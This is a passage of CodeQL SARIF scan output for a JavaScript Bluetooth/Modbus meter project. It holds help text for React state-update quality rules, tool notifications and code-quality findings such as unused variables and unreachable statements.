in time. The three component methods `componentDidUpdate`, `componentWillUpdate`, and `shouldComponentUpdate` do allow calls to the state update methods, but only if the calls are conditional.\n\n\n## Recommendation\nOnly invoke a state update method on a React component when its lifecycle allows it.\n\n\n## Example\nThe following example uses `setState` to update the `counter` property of `this.state`, from the constructor of a React component:\n\n\n```javascript\nclass MyComponent extends React.Component {\n\n    constructor(props) {\n        super(props)\n        this.setState({\n            counter: 0\n        })\n\n    }\n\n    render() {\n        return <div>{this.state.counter}</div>\n    }\n\n}\n\n```\nInstead, replace the call to `setState` with an assignment:\n\n\n```javascript\nclass MyComponent extends React.Component {\n\n    constructor(props) {\n        super(props)\n        this.state.counter = 0;\n    }\n\n    render() {\n        return <div>{this.state.counter}</div>\n    }\n\n}\n\n```\n\n## References\n* React reference: [React.Component](https://reactjs.org/docs/react-component.html).\n* React Quick Start: [State and Lifecycle](https://reactjs.org/docs/state-and-lifecycle.html).\n"},"properties":{"tags":["quality","reliability","correctness","frameworks/react"],"description":"Attempting to update the state of a React component at the wrong time can cause undesired behavior.","id":"js/react/unsupported-state-update-in-lifecycle-method","kind":"problem","name":"Unsupported state update in lifecycle method","precision":"high","problem.severity":"warning"}},{"id":"js/react/inconsistent-state-update","name":"js/react/inconsistent-state-update","shortDescription":{"text":"Potentially inconsistent state update"},"fullDescription":{"text":"Updating the state of a component based on the current value of 'this.state' or 'this.props' may lead to inconsistent component state."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Potentially inconsistent state update\nReact component state updates using `setState` may asynchronously update `this.props` and `this.state`, thus it is not safe to use either of the two when calculating the new state passed to `setState`.\n\n\n## Recommendation\nUse the callback-based variant of `setState`: instead of calculating the new state directly and passing it to `setState`, pass a callback function that calculates the new state when the update is about to be performed.\n\n\n## Example\nThe following example uses `setState` to update the `counter` property of `this.state`, relying on the current (potentially stale) value of that property:\n\n```javascript\n\nthis.setState({\n  counter: this.state.counter + 1\n});\n\n```\nInstead, the callback form of `setState` should be used:\n\n```javascript\n\nthis.setState(prevState => ({\n  counter: prevState.counter + 1\n}));\n\n```\n\n## References\n* React Quick Start: [State and Lifecycle](https://facebook.github.io/react/docs/state-and-lifecycle.html).\n","markdown":"# Potentially inconsistent state update\nReact component state updates using `setState` may asynchronously update `this.props` and `this.state`, thus it is not safe to use either of the two when calculating the new state passed to `setState`.\n\n\n## Recommendation\nUse the callback-based variant of `setState`: instead of calculating the new state directly and passing it to `setState`, pass a callback function that calculates the new state when the update is about to be performed.\n\n\n## Example\nThe following example uses `setState` to update the `counter` property of `this.state`, relying on the current (potentially stale) value of that property:\n\n```javascript\n\nthis.setState({\n  counter: this.state.counter + 1\n});\n\n```\nInstead, the callback form of `setState` should be used:\n\n```javascript\n\nthis.setState(prevState => ({\n  counter: prevState.counter + 1\n}));\n\n```\n\n## References\n* React Quick Start: [State and Lifecycle](https://facebook.github.io/react/docs/state-and-lifecycle.html).\n"},"properties":{"tags":["quality","reliability","correctness","frameworks/react"],"description":"Updating the state of a component based on the current value of\n              'this.state' or 'this.props' may lead to inconsistent component\n              state.","id":"js/react/inconsistent-state-update","kind":"problem","name":"Potentially inconsistent state update","precision":"very-high","problem.severity":"warning"}},{"id":"js/react/unused-or-undefined-state-property","name":"js/react/unused-or-undefined-state-property","shortDescription":{"text":"Unused or undefined state property"},"fullDescription":{"text":"Unused or undefined component state properties may be a symptom of a bug and should be examined carefully."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Unused or undefined state property\nUnused or undefined React component state properties can cause errors or make code hard to read and understand. Any computation used to initialize an unused state property is wasted, which may lead to performance problems. Any access to an undefined component state property trivially evaluates to the value `undefined`, which may come as a surprise.\n\n\n## Recommendation\nRemove unused component state properties. Assign values to undefined component state properties.\n\n\n## Example\nIn the code below, the React component `Clock` attempts to display the current time in the `render` method.\n\n\n```javascript\nclass Clock extends React.Component {\n    constructor(props) {\n        super(props);\n        this.state = { };\n    }\n\n    render() {\n         // BAD: this.state.date is undefined\n        var now = this.state.date.toLocaleTimeString();\n        return (\n                <div>\n                <h2>The time is {now}.</h2>\n                </div>\n        );\n    }\n}\n\n```\nBut since there are no assignments to `this.state.date`, the `render` method will throw an exception when attempting to access the property `toLocaleString` of the value `undefined`. To avoid this exception, assign the `date` property before using it:\n\n\n```javascript\nclass Clock extends React.Component {\n    constructor(props) {\n        super(props);\n        this.state = { date: new Date() };\n    }\n\n    render() {\n         // GOOD: this.state.date is defined above\n        var now = this.state.date.toLocaleTimeString()\n        return (\n                <div>\n                <h2>The time is {now}.</h2>\n                </div>\n        );\n    }\n}\n\n```\n\n## References\n* React: [Component State](https://reactjs.org/docs/faq-state.html).\n* React: [State and Lifecycle](https://reactjs.org/docs/state-and-lifecycle.html).\n","markdown":"# Unused or undefined state property\nUnused or undefined React component state properties can cause errors or make code hard to read and understand. Any computation used to initialize an unused state property is wasted, which may lead to performance problems. Any access to an undefined component state property trivially evaluates to the value `undefined`, which may come as a surprise.\n\n\n## Recommendation\nRemove unused component state properties. Assign values to undefined component state properties.\n\n\n## Example\nIn the code below, the React component `Clock` attempts to display the current time in the `render` method.\n\n\n```javascript\nclass Clock extends React.Component {\n    constructor(props) {\n        super(props);\n        this.state = { };\n    }\n\n    render() {\n         // BAD: this.state.date is undefined\n        var now = this.state.date.toLocaleTimeString();\n        return (\n                <div>\n                <h2>The time is {now}.</h2>\n                </div>\n        );\n    }\n}\n\n```\nBut since there are no assignments to `this.state.date`, the `render` method will throw an exception when attempting to access the property `toLocaleString` of the value `undefined`. To avoid this exception, assign the `date` property before using it:\n\n\n```javascript\nclass Clock extends React.Component {\n    constructor(props) {\n        super(props);\n        this.state = { date: new Date() };\n    }\n\n    render() {\n         // GOOD: this.state.date is defined above\n        var now = this.state.date.toLocaleTimeString()\n        return (\n                <div>\n                <h2>The time is {now}.</h2>\n                </div>\n        );\n    }\n}\n\n```\n\n## References\n* React: [Component State](https://reactjs.org/docs/faq-state.html).\n* React: [State and Lifecycle](https://reactjs.org/docs/state-and-lifecycle.html).\n"},"properties":{"tags":["quality","reliability","correctness","frameworks/react"],"description":"Unused or undefined component state properties may be a symptom of a bug and should be examined carefully.","id":"js/react/unused-or-undefined-state-property","kind":"problem","name":"Unused or undefined state property","precision":"high","problem.severity":"warning"}}],"locations":[{"uri":"file:///opt/hostedtoolcache/CodeQL/2.25.6/x64/codeql/qlpacks/codeql/javascript-queries/2.3.11/","description":{"text":"The QL pack root directory."},"properties":{"tags":["CodeQL/LocalPackRoot"]}},{"uri":"file:///opt/hostedtoolcache/CodeQL/2.25.6/x64/codeql/qlpacks/codeql/javascript-queries/2.3.11/qlpack.yml","description":{"text":"The QL pack definition file."},"properties":{"tags":["CodeQL/LocalPackDefinitionFile"]}}]},{"name":"codeql/javascript-all","semanticVersion":"2.7.2+1a82a682e9750929a11872d8456ff91e90fc6352","locations":[{"uri":"file:///opt/hostedtoolcache/CodeQL/2.25.6/x64/codeql/qlpacks/codeql/javascript-queries/2.3.11/.codeql/libraries/codeql/javascript-all/2.7.2/","description":{"text":"The QL pack root directory."},"properties":{"tags":["CodeQL/LocalPackRoot"]}},{"uri":"file:///opt/hostedtoolcache/CodeQL/2.25.6/x64/codeql/qlpacks/codeql/javascript-queries/2.3.11/.codeql/libraries/codeql/javascript-all/2.7.2/qlpack.yml","description":{"text":"The QL pack definition file."},"properties":{"tags":["CodeQL/LocalPackDefinitionFile"]}}]},{"name":"codeql/threat-models","semanticVersion":"1.0.51+1a82a682e9750929a11872d8456ff91e90fc6352","locations":[{"uri":"file:///opt/hostedtoolcache/CodeQL/2.25.6/x64/codeql/qlpacks/codeql/javascript-queries/2.3.11/.codeql/libraries/codeql/threat-models/1.0.51/","description":{"text":"The QL pack root directory."},"properties":{"tags":["CodeQL/LocalPackRoot"]}},{"uri":"file:///opt/hostedtoolcache/CodeQL/2.25.6/x64/codeql/qlpacks/codeql/javascript-queries/2.3.11/.codeql/libraries/codeql/threat-models/1.0.51/qlpack.yml","description":{"text":"The QL pack definition file."},"properties":{"tags":["CodeQL/LocalPackDefinitionFile"]}}]}]},"invocations":[{"toolExecutionNotifications":[{"locations":[{"physicalLocation":{"artifactLocation":{"uri":".github/workflows/publish.yml","uriBaseId":"%SRCROOT%","index":0}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":".github/workflows/codeql.yml","uriBaseId":"%SRCROOT%","index":1}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":".eslintrc.js","uriBaseId":"%SRCROOT%","index":2}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":".eslintrc.json","uriBaseId":"%SRCROOT%","index":3}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"bluetooth.js","uriBaseId":"%SRCROOT%","index":4}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"classes/Command.js","uriBaseId":"%SRCROOT%","index":5}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"classes/APIState.js","uriBaseId":"%SRCROOT%","index":6}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"classes/CommandResult.js","uriBaseId":"%SRCROOT%","index":7}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"classes/MeterState.js","uriBaseId":"%SRCROOT%","index":8}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"classes/SenecaMSC.js","uriBaseId":"%SRCROOT%","index":9}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"constants.js","uriBaseId":"%SRCROOT%","index":10}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"index.html","uriBaseId":"%SRCROOT%","index":12}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"jest.config.js","uriBaseId":"%SRCROOT%","index":13}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"meterApi.js","uriBaseId":"%SRCROOT%","index":14}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"meterPublicAPI.js","uriBaseId":"%SRCROOT%","index":15}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"modbusRtu.js","uriBaseId":"%SRCROOT%","index":16}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"modbusTestData.js","uriBaseId":"%SRCROOT%","index":17}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"senecaModbus.js","uriBaseId":"%SRCROOT%","index":18}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"package.json","uriBaseId":"%SRCROOT%","index":19}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"tests/Execute.test.js","uriBaseId":"%SRCROOT%","index":20}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"tests/fakeBluetooth.test.js","uriBaseId":"%SRCROOT%","index":21}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"tests/meterApi.test.js","uriBaseId":"%SRCROOT%","index":22}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"tsconfig.json","uriBaseId":"%SRCROOT%","index":23}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"utils.js","uriBaseId":"%SRCROOT%","index":24}}}],"message":{"text":""},"level":"none","descriptor":{"id":"js/diagnostics/successfully-extracted-files","index":0,"toolComponent":{"index":0}},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"classes/Command.js","uriBaseId":"%SRCROOT%","index":5}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"tests/Execute.test.js","uriBaseId":"%SRCROOT%","index":20}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"classes/APIState.js","uriBaseId":"%SRCROOT%","index":6}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"modbusRtu.js","uriBaseId":"%SRCROOT%","index":16}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"tests/fakeBluetooth.test.js","uriBaseId":"%SRCROOT%","index":21}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"bluetooth.js","uriBaseId":"%SRCROOT%","index":4}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"meterPublicAPI.js","uriBaseId":"%SRCROOT%","index":15}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"tests/meterApi.test.js","uriBaseId":"%SRCROOT%","index":22}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"classes/MeterState.js","uriBaseId":"%SRCROOT%","index":8}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"classes/CommandResult.js","uriBaseId":"%SRCROOT%","index":7}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"constants.js","uriBaseId":"%SRCROOT%","index":10}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"senecaModbus.js","uriBaseId":"%SRCROOT%","index":18}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":".eslintrc.js","uriBaseId":"%SRCROOT%","index":2}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"utils.js","uriBaseId":"%SRCROOT%","index":24}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"classes/SenecaMSC.js","uriBaseId":"%SRCROOT%","index":9}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"jest.config.js","uriBaseId":"%SRCROOT%","index":13}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"meterApi.js","uriBaseId":"%SRCROOT%","index":14}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":"modbusTestData.js","uriBaseId":"%SRCROOT%","index":17}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/javascript","index":0},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":".github/workflows/codeql.yml","uriBaseId":"%SRCROOT%","index":1}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/actions","index":1},"properties":{"formattedMessage":{"text":""}}},{"locations":[{"physicalLocation":{"artifactLocation":{"uri":".github/workflows/publish.yml","uriBaseId":"%SRCROOT%","index":0}}}],"message":{"text":""},"level":"none","descriptor":{"id":"cli/expected-extracted-files/actions","index":1},"properties":{"formattedMessage":{"text":""}}},{"message":{"text":""},"level":"none","timeUtc":"2026-06-23T08:28:52.701Z","descriptor":{"id":"codeql-action/git-version-telemetry","index":2},"properties":{"attributes":{"fullVersion":"2.54.0","truncatedVersion":"2.54.0"},"visibility":{"statusPage":false,"telemetry":true}}},{"message":{"text":""},"level":"none","timeUtc":"2026-06-23T08:28:52.702Z","descriptor":{"id":"codeql-action/overlay-disabled","index":3},"properties":{"attributes":{"reason":"non-default-queries"},"visibility":{"statusPage":false,"telemetry":true}}},{"message":{"text":""},"level":"none","timeUtc":"2026-06-23T08:28:55.519Z","descriptor":{"id":"codeql-action/zstd-availability","index":4},"properties":{"attributes":{"available":true,"foundZstdBinary":true,"version":{"type":"gnu","version":"1.35"}},"visibility":{"statusPage":false,"telemetry":true}}}],"executionSuccessful":true}],"artifacts":[{"location":{"uri":".github/workflows/publish.yml","uriBaseId":"%SRCROOT%","index":0}},{"location":{"uri":".github/workflows/codeql.yml","uriBaseId":"%SRCROOT%","index":1}},{"location":{"uri":".eslintrc.js","uriBaseId":"%SRCROOT%","index":2}},{"location":{"uri":".eslintrc.json","uriBaseId":"%SRCROOT%","index":3}},{"location":{"uri":"bluetooth.js","uriBaseId":"%SRCROOT%","index":4}},{"location":{"uri":"classes/Command.js","uriBaseId":"%SRCROOT%","index":5}},{"location":{"uri":"classes/APIState.js","uriBaseId":"%SRCROOT%","index":6}},{"location":{"uri":"classes/CommandResult.js","uriBaseId":"%SRCROOT%","index":7}},{"location":{"uri":"classes/MeterState.js","uriBaseId":"%SRCROOT%","index":8}},{"location":{"uri":"classes/SenecaMSC.js","uriBaseId":"%SRCROOT%","index":9}},{"location":{"uri":"constants.js","uriBaseId":"%SRCROOT%","index":10}},{"location":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11}},{"location":{"uri":"index.html","uriBaseId":"%SRCROOT%","index":12}},{"location":{"uri":"jest.config.js","uriBaseId":"%SRCROOT%","index":13}},{"location":{"uri":"meterApi.js","uriBaseId":"%SRCROOT%","index":14}},{"location":{"uri":"meterPublicAPI.js","uriBaseId":"%SRCROOT%","index":15}},{"location":{"uri":"modbusRtu.js","uriBaseId":"%SRCROOT%","index":16}},{"location":{"uri":"modbusTestData.js","uriBaseId":"%SRCROOT%","index":17}},{"location":{"uri":"senecaModbus.js","uriBaseId":"%SRCROOT%","index":18}},{"location":{"uri":"package.json","uriBaseId":"%SRCROOT%","index":19}},{"location":{"uri":"tests/Execute.test.js","uriBaseId":"%SRCROOT%","index":20}},{"location":{"uri":"tests/fakeBluetooth.test.js","uriBaseId":"%SRCROOT%","index":21}},{"location":{"uri":"tests/meterApi.test.js","uriBaseId":"%SRCROOT%","index":22}},{"location":{"uri":"tsconfig.json","uriBaseId":"%SRCROOT%","index":23}},{"location":{"uri":"utils.js","uriBaseId":"%SRCROOT%","index":24}}],"results":[{"ruleId":"js/unreachable-statement","rule":{"id":"js/unreachable-statement","index":117,"toolComponent":{"index":0}},"message":{"text":"This statement is unreachable."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"senecaModbus.js","uriBaseId":"%SRCROOT%","index":18},"region":{"startLine":545,"startColumn":2,"endColumn":12}}}],"partialFingerprints":{"primaryLocationLineHash":"26e92e55ebe3bc44:1","primaryLocationStartColumnFingerprint":"0"}},{"ruleId":"js/unreachable-statement","rule":{"id":"js/unreachable-statement","index":117,"toolComponent":{"index":0}},"message":{"text":"This statement is unreachable."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":5337,"startColumn":2,"endColumn":12}}}],"partialFingerprints":{"primaryLocationLineHash":"26e92e55ebe3bc44:1","primaryLocationStartColumnFingerprint":"0"}},{"ruleId":"js/automatic-semicolon-insertion","rule":{"id":"js/automatic-semicolon-insertion","index":139,"toolComponent":{"index":0}},"message":{"text":"Avoid automated semicolon insertion (92% of all statements in [the enclosing script](1) have an explicit semicolon)."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"index.html","uriBaseId":"%SRCROOT%","index":12},"region":{"startLine":167,"endColumn":11}}}],"partialFingerprints":{"primaryLocationLineHash":"37d1c717e4d392ee:1","primaryLocationStartColumnFingerprint":"-8"},"relatedLocations":[{"id":1,"physicalLocation":{"artifactLocation":{"uri":"index.html","uriBaseId":"%SRCROOT%","index":12},"region":{"startLine":162,"startColumn":13,"endLine":304,"endColumn":5}},"message":{"text":"the enclosing script"}}]},{"ruleId":"js/missing-variable-declaration","rule":{"id":"js/missing-variable-declaration","index":159,"toolComponent":{"index":0}},"message":{"text":"Variable x is used like a local variable, but is missing a declaration."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"index.html","uriBaseId":"%SRCROOT%","index":12},"region":{"startLine":292,"startColumn":18,"endColumn":19}}}],"partialFingerprints":{"primaryLocationLineHash":"8503c8ee2dfb7151:1","primaryLocationStartColumnFingerprint":"5"}},{"ruleId":"js/missing-variable-declaration","rule":{"id":"js/missing-variable-declaration","index":159,"toolComponent":{"index":0}},"message":{"text":"Variable ctype is used like a local variable, but is missing a declaration."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"tests/Execute.test.js","uriBaseId":"%SRCROOT%","index":20},"region":{"startLine":46,"startColumn":8,"endColumn":13}}}],"partialFingerprints":{"primaryLocationLineHash":"a9dfded4f597e763:1","primaryLocationStartColumnFingerprint":"5"}},{"ruleId":"js/missing-variable-declaration","rule":{"id":"js/missing-variable-declaration","index":159,"toolComponent":{"index":0}},"message":{"text":"Variable ctype is used like a local variable, but is missing a declaration."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"tests/Execute.test.js","uriBaseId":"%SRCROOT%","index":20},"region":{"startLine":71,"startColumn":8,"endColumn":13}}}],"partialFingerprints":{"primaryLocationLineHash":"637a8ff24f6a702c:1","primaryLocationStartColumnFingerprint":"5"}},{"ruleId":"js/unused-local-variable","rule":{"id":"js/unused-local-variable","index":163,"toolComponent":{"index":0}},"message":{"text":"Unused variable SET_POWER_OFF."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"classes/SenecaMSC.js","uriBaseId":"%SRCROOT%","index":9},"region":{"startLine":18,"startColumn":7,"endColumn":20}}}],"partialFingerprints":{"primaryLocationLineHash":"5aa39c72c1340f9:1","primaryLocationStartColumnFingerprint":"6"}},{"ruleId":"js/unused-local-variable","rule":{"id":"js/unused-local-variable","index":163,"toolComponent":{"index":0}},"message":{"text":"Unused variable stop."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"index.html","uriBaseId":"%SRCROOT%","index":12},"region":{"startLine":183,"startColumn":21,"endColumn":25}}}],"partialFingerprints":{"primaryLocationLineHash":"a508e28844e91020:1","primaryLocationStartColumnFingerprint":"4"}},{"ruleId":"js/unused-local-variable","rule":{"id":"js/unused-local-variable","index":163,"toolComponent":{"index":0}},"message":{"text":"Unused variable APIState."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"meterApi.js","uriBaseId":"%SRCROOT%","index":14},"region":{"startLine":5,"startColumn":7,"endColumn":15}}}],"partialFingerprints":{"primaryLocationLineHash":"21fba138144d5a89:1","primaryLocationStartColumnFingerprint":"6"}},{"ruleId":"js/unused-local-variable","rule":{"id":"js/unused-local-variable","index":163,"toolComponent":{"index":0}},"message":{"text":"Unused variable MeterState."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"tests/Execute.test.js","uriBaseId":"%SRCROOT%","index":20},"region":{"startLine":1,"startColumn":7,"endColumn":17}}}],"partialFingerprints":{"primaryLocationLineHash":"5b87c4d120bd0948:1","primaryLocationStartColumnFingerprint":"6"}},{"ruleId":"js/unused-local-variable","rule":{"id":"js/unused-local-variable","index":163,"toolComponent":{"index":0}},"message":{"text":"Unused variable log."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"tests/Execute.test.js","uriBaseId":"%SRCROOT%","index":20},"region":{"startLine":4,"startColumn":5,"endColumn":8}}}],"partialFingerprints":{"primaryLocationLineHash":"863287d6bb54bfab:1","primaryLocationStartColumnFingerprint":"4"}},{"ruleId":"js/unused-local-variable","rule":{"id":"js/unused-local-variable","index":163,"toolComponent":{"index":0}},"message":{"text":"Unused variable CommandType."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"tests/Execute.test.js","uriBaseId":"%SRCROOT%","index":20},"region":{"startLine":18,"startColumn":5,"endColumn":16}}}],"partialFingerprints":{"primaryLocationLineHash":"85b61da2cc4c1888:1","primaryLocationStartColumnFingerprint":"4"}},{"ruleId":"js/unused-local-variable","rule":{"id":"js/unused-local-variable","index":163,"toolComponent":{"index":0}},"message":{"text":"Unused variable log."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"tests/fakeBluetooth.test.js","uriBaseId":"%SRCROOT%","index":21},"region":{"startLine":4,"startColumn":5,"endColumn":8}}}],"partialFingerprints":{"primaryLocationLineHash":"863287d6bb54bfab:1","primaryLocationStartColumnFingerprint":"4"}},{"ruleId":"js/unused-local-variable","rule":{"id":"js/unused-local-variable","index":163,"toolComponent":{"index":0}},"message":{"text":"Unused variable 